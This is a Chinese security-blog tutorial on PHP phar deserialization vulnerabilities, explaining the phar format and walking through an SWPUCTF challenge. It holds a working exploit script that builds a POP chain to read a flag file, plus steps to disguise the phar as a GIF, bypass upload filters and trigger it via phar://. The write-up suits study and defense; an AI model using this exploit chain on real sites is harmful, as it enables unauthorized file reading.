您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

浅析phar反序列化漏洞攻击及实战

时间:2021-07-16 13:57:25  来源:  作者:合天网安实验室

前言

phar反序列化漏洞很久之前就开始接触了;因为当时出了点问题导致一直无法成功,所以当时直接去学习其他的漏洞了;今天觉得是时候把这个漏洞补上去了;

漏洞成因

phar文件会以序列化的形式存储用户自定义的meta-data;该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

原理分析

phar的组成

通过查阅手册发现phar由四部分组成;翻阅手册可以知道,phar由四个部分组成,分别是`stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)` 下面进行解释一下;

1 .0 a stub

标识作用,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar文件;

2 .0

a manifest describing the contents

其实可以理解为phar文件本质上是一中压缩文件,其中包含有压缩信息和权限,当然我们需要利用的序列化也在里面;

浅析phar反序列化漏洞攻击及实战

 

图片来源seebug

3 .0 the file contents

这里指的是被压缩文件的内容;

4 .0 [optional] a signature for verifying Phar integrity (phar file format only)

签名,放在结尾;

试验

这里引用开心师傅给的一个实例;来进行生成;

```php
<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>
```

然后在服务器之下运行,发现成功生成phar文件;

浅析phar反序列化漏洞攻击及实战

 

然后打开这个phar文件,我们发现已经成功;并且数据的存储方式是以序列化的方式存储的;

那么既然有序列化,那么就一定有反序列化,php的很多文件系统函数在通过phar://伪协议解析phar文件的时候。都会将mate-data进行反序列化。

将phar伪造为其他类型的文件

前面在讲的时候已经介绍了phar的四个部分,这里注意到第一个部分stub;因为这个部分的存在,纵然我们修改了phar后缀,服务器读取到stub的时候依然会当作phar文件;再准确点讲就是下面的代码;(二进制的编译器有点问题,简单用记事本来看看;)也还是可以发现是以序列化形式存储的;

实战

拿一道 SWPUCTF 中的一道题目来讲;进去就发现了包含漏洞,然后直接读取源码,发现并没有对phar进行过滤;而且源代码里有提示,所以差不多实锤了,就是phar反序列化漏洞了;

直接来对关键的代码进行分析;class.php

这里面看到有三个类,再明显不过了,这就是主要的pop链的构造处;然后发现了危险的函数 file_get_contents();那看来就是利用这个读源码了;

浅析phar反序列化漏洞攻击及实战

 

一步步分析;先看到C1e4r这个类里面有echo;那要利用echo;以达到输出字符串的目的;

浅析phar反序列化漏洞攻击及实战

 


浅析phar反序列化漏洞攻击及实战

 

然后看到show类里有一个 __toString()方法,这个方法在对象被转化为字符串的时候会自动调用;比如进行echo print的时候会进行调用并返回一个字符串;

浅析phar反序列化漏洞攻击及实战

 

然后审计Test类,发现file_get_contents()函数,那就是利用了;一步一步向前追溯 file_get->get->__get();这里主要还是调用__get()方法;

那么这里思路差不多清晰了;简单来讲;在test类中要调用__get方法,那么触发这个方法我们需要在show类里寻,因为这个类里面运用了source属性,所以只需要将 str['str'] 赋值为 Test类就可以,那么触发 __toString()方法就需要用到我们的第一个类里面的echo了;

那么思路清晰就构造处pop链;

exp编写


<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   
$show->str['str'] = $test;

$phar = new Phar("exp.phar"); 
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); 
$phar->setMetadata($c1e4r); 
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();
?>

生成phar文件,改后缀为gif绕过限制,上传之后进入upload目录之下(或者根据源代码算出上传后的文件名),复制文件名到读取文件的窗口读取 file=phar://xxxxxx.jpg然后得到base64的编码解码就好。

PHP安全特性之伪协议
http://hetianlab.com/expc.do?ec=ECIDa96d-c30c-45f2-b109-1adb6a9fc2ee&pk_campaign=toutiao-wemedia(通过该实验了解php中的伪协议的应用及攻击手段研究,能熟练使用burpsuite、中国菜刀等安全工具的使用。)



Tags:漏洞   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
log4j漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕WAF tips跟进漏洞产生原因的思路如何发现漏洞产生的原因...【详细内容】
2021-12-22  Tags: 漏洞  点击:(6)  评论:(0)  加入收藏
这几天Log4j的问题消息满天飞,今天我们就一起来看看从源码角度看看这个漏洞是如何产生的。 大家都知道这次问题主要是由于Log4j中提供的jndi的功能。具体涉及到的入口类是lo...【详细内容】
2021-12-15  Tags: 漏洞  点击:(13)  评论:(0)  加入收藏
一、SQL注入漏洞SQL 注入攻击( SQL Injection ),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串...【详细内容】
2021-12-10  Tags: 漏洞  点击:(23)  评论:(0)  加入收藏
央广网北京12月10日消息(总台央广记者管昕)近年来,互联网消费平台迅速崛起,让人足不出户就可坐享天下美食,买到物美价廉的物品。为了抢占市场,各大平台推出名目繁多的优惠券等消费...【详细内容】
2021-12-10  Tags: 漏洞  点击:(16)  评论:(0)  加入收藏
一、漏洞介绍如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可...【详细内容】
2021-09-23  Tags: 漏洞  点击:(73)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  Tags: 漏洞  点击:(65)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  Tags: 漏洞  点击:(56)  评论:(0)  加入收藏
Apple 设备系统最近面临了许多安全性方面的考验,好在在研究组织 Citizen Lab 地帮忙揭露下,最近一个名为「ForcedEntry」的攻击漏洞,已经被官方确认并提出了建议,建议所有用户安...【详细内容】
2021-09-15  Tags: 漏洞  点击:(70)  评论:(0)  加入收藏
什么是Nessus?Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件步骤如下:查看当前kali系统内核版本...【详细内容】
2021-09-09  Tags: 漏洞  点击:(112)  评论:(0)  加入收藏
入侵一些网站,电脑,制作一些病毒,学会多项编程,这是一个普通黑客都会的技能,那么真正黑客能厉害到什么程度呢?除了勒索病毒,熊猫烧香等自动感染的病毒被大家熟知外,还有更厉害的骚操...【详细内容】
2021-08-19  Tags: 漏洞  点击:(66)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(19)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(18)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(631)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条